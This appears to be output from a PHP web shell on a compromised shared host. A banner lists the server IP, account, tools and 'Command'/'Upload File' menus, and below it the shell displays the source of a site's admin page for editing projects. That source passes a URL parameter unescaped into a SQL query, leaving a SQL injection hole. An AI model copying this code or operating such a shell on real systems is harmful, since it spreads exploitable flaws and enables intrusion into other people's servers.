Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/builty/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); $se = $_SESSION["id"]; if (!isset($_SESSION['id'])) { header("Location: login.php"); } include("inc/config.php");; ?> <!DOCTYPE html> <html lang="en"> <?php require "inc/head.php"; ?> <body> <!-- header--> <?php require "inc/header.php"; ?> <!-- End Main-content Top bar--> <!-- main-content--> <div class="wrapper"> <?php require "inc/sidebar.php"; ?> <div id="content"> <div class="row mb-4"> <div class="col-12 col-sm-12"> <div class="row"> <div class="col-12 col-md-12 mb-4"> <div class="card redial-border-light redial-shadow"> <div class="card-body" style="overflow: visible;"> <!-- <h6 class="header-title pl-3 redial-relative">Advanced Select</h6> --> <div class="card redial-border-light redial-shadow mb-4"> <div class="card-body"> <h6 class="header-title pl-3 redial-relative">Project Form</h6> <?php $id = $_GET['id']; $query = "SELECT * FROM projects WHERE id='$id'"; $query_run = mysqli_query($conn, $query); if (mysqli_num_rows($query_run) > 0) { foreach ($query_run as $row) { ?> <form action="add_project.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="id" value="<?php echo $row['id']; ?>"> <div class="row"> <div class="col-12 col-sm-2 text-sm-right align-self-center"> <label class="redial-font-weight-600 mb-3">Project Name</label> </div> <div class="col-12 col-sm-10 mb-3"> <input type="text" name="project_name" class="form-control" value="<?php echo $row['project_name']; ?>"> </div> <!--<div class="col-12 col-sm-2 text-sm-right align-self-center">--> <!-- <label class="redial-font-weight-600 mb-3">Project Costing</label>--> <!--</div>--> <!--<div class="col-12 col-sm-10 mb-3">--> <!-- <input type="text" name="project_cost" class="form-control" value="<?php echo $row['project_cost']; ?>">--> <!--</div>--> <div class="col-12 col-sm-2 text-sm-right align-self-center"> <label class="redial-font-weight-600 mb-3">Start Time</label> </div> <div class="col-12 col-sm-10 mb-3"> <input type="datetime-local" name="project_start" class="form-control" value="<?php echo $row['project_start']; ?>" placeholder="Project Start Time" required> </div> <div class="col-12 col-sm-2 text-sm-right align-self-center"> <label class="redial-font-weight-600 mb-3">End Time</label> </div> <div class="col-12 col-sm-10 mb-3"> <input type="datetime-local" name="project_end" class="form-control" value="<?php echo $row['project_end']; ?>" placeholder="Project End Time" required> </div> <div class="col-12 col-sm-2 text-sm-right align-self-center"> <label class="redial-font-weight-600 mb-3">Project Status</label> </div> <div class="col-12 col-sm-10 mb-3"> <select name="project_status" class="form-control"> <option value="Pending" <?php echo ($row['project_status'] == 'Pending') ? 'selected' : ''; ?>>Pending</option> <option value="In Progress" <?php echo ($row['project_status'] == 'In Progress') ? 'selected' : ''; ?>>In Progress</option> <option value="Complete" <?php echo ($row['project_status'] == 'Completed') ? 'selected' : ''; ?>>Completed</option> <option value="On Hold" <?php echo ($row['project_status'] == 'On Hold') ? 'selected' : ''; ?>>On Hold</option> </select> </div> <div class='btn-group mb-2' style="margin-left: 39%;"> <button type="submit" name="update_project" class="btn btn-outline-success">Update Project</button> </div> </div> </form> <?php } } ?> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <!-- End main-content--> <!-- Top To Bottom--> <a href="#" class="scrollup text-center redial-bg-primary redial-rounded-circle-50"> <h4 class="text-white mb-0"><i class="icofont icofont-long-arrow-up"></i></h4> </a> <!-- End Top To Bottom--> <!-- Chat--> <!-- End Chat--> <!-- jQuery --> <script> document.addEventListener('DOMContentLoaded', function () { const startDateTimeInput = document.getElementById('start_datetime'); const endDateTimeInput = document.getElementById('end_datetime'); const totalTimeInput = document.getElementById('total_time'); function calculateTotalTime() { const startDateTime = startDateTimeInput.value; const endDateTime = endDateTimeInput.value; if (startDateTime && endDateTime) { const start = new Date(startDateTime); const end = new Date(endDateTime); if (end > start) { const diffMs = end - start; // Difference in milliseconds const diffDays = Math.floor(diffMs / (1000 * 60 * 60 * 24)); const diffHrs = Math.floor((diffMs % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); const diffMins = Math.floor((diffMs % (1000 * 60 * 60)) / (1000 * 60)); totalTimeInput.value = `${diffDays}d ${diffHrs}h ${diffMins}m`; } else { alert('End date and time must be after start date and time'); totalTimeInput.value = ''; } } } endDateTimeInput.addEventListener('change', calculateTotalTime); }); </script> <!-- total Amt --> <script> document.addEventListener('DOMContentLoaded', function () { const startDatetimeInput = document.getElementById('start_datetime'); const endDatetimeInput = document.getElementById('end_datetime'); const totalTimeInput = document.getElementById('total_time'); const erhInput = document.getElementById('erh'); const totalAmtInput = document.getElementById('total_amt'); const empNameSelect = document.getElementById('emp_name'); // Calculate total time in hours function calculateTotalTime() { const start = new Date(startDatetimeInput.value); const end = new Date(endDatetimeInput.value); if (start && end && start < end) { const diffMs = end - start; // Difference in milliseconds const diffHours = diffMs / (1000 * 60 * 60); // Convert to hours totalTimeInput.value = diffHours.toFixed(2); // Display 2 decimal places return diffHours; } else { totalTimeInput.value = ''; return 0; } } // Calculate total amount function calculateTotalAmt() { const totalTime = calculateTotalTime(); const hourlyRate = parseFloat(erhInput.value) || 0; const totalAmt = totalTime * hourlyRate; totalAmtInput.value = totalAmt.toFixed(2); // Display 2 decimal places } // Update hourly rate on employee selection change empNameSelect.addEventListener('change', function () { const selectedOption = empNameSelect.options[empNameSelect.selectedIndex]; erhInput.value = selectedOption.getAttribute('data-erh') || 0; calculateTotalAmt(); }); // Recalculate total amount on start/end datetime changes startDatetimeInput.addEventListener('change', calculateTotalAmt); endDatetimeInput.addEventListener('change', calculateTotalAmt); }); </script> <!-- end total amt --> <script src="dist/js/plugins.min.js"></script> <script src="dist/js/common.js"></script> </body> </html>